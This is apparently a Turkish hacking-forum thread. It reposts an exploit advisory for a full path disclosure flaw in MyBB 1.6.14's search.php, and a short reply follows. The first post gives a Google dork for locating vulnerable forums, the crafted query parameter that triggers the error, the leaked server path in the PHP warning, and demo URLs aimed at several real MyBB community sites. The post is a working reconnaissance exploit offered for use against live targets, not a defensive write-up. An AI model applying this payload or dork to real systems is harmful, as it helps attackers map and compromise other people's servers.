Konuyu Oyla:
  • Toplam: 3 Oy - Ortalama: 2.67
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: MyBB 1.6.14 search.php Full Path Disclosure
DaRKNeSS
*
avatar
Binbaşı
Durum: Çevrimdışı
Seviye Puanı: 53
Yaşam Puanı: 1,315 / 1,315
Deneyim: 61 / 100
Rep Sayısı: 115
Mesaj Sayısı: 5586
Üyelik Tarihi: 11.08.2013
     
Yorum: #1
MyBB 1.6.14 search.php Full Path Disclosure
03.08.2014 00:41
# Title: MyBB 1.6.14 - search.php Bug
# Google Dork: inurl:"search.php" intext:"Powered By MyBB"
# Date: 26.07.2014
# Author: DemoLisH
# Vendor Homepage: http://www.mybb.com/
# Software Link: http://www.mybb.com/downloads
# Version: 1.6.14 - Latest Version

***************************************************
[~#~] Exploit:
Kod:
search.php?action[$victor]=getdaily
[~#~] Demo:
Kod:
http://community.mybb.com/search.php?action[$victor]=getdaily
[~#~] Error:
Kod:
Warning [2] Illegal offset type in isset or empty - Line: 239 - File: global.php PHP 5.4.28-1~dotdeb.1 (Linux)
[~#~]
Example:
Kod:
http://my-bb.ir/search.php?action[$victor]=getdailyhttp://www.mybb.fr/search.php?action[$victor]=getdaily
[code]http://
community.mybb.vn/search.php?action[$victor]=getdailyhttp://destek.mybb.com.tr/search.php?action[$victor]=getdaily
Kod:
http:/
/www.mybb.biz/search.php?action[$victor]=getdaily
***************************************************


Alinti
Rep Verenler: ERMİŞ
#H4CK4L
*
avatar
#R00T
Durum: Çevrimiçi
Seviye Puanı: 42
Yaşam Puanı: 1,046 / 1,046
Deneyim: 86 / 100
Rep Sayısı: 1013
Mesaj Sayısı: 2966
Üyelik Tarihi: 04.05.2013
      
Yorum: #2
Cvp: MyBB 1.6.14 search.php Full Path Disclosure
03.08.2014 11:57
yinemi Exciting search.php de bu aralar sorun yaşıyor mybb ekibi Smile

Çocukken her akşam yatmadan önce Tanrı'ya bana bir bisiklet vermesi için dua ederdim. Bir gün Tanrı'nın çalışma tarzının bu olmadığını anladım. Ertesi gün gittim kendime yeni bir bisiklet çaldım ve her akşam yatmadan önce Tanrı'ya günahlarımı affetmesi için dua ettim.
Alinti



1 Ziyaretçi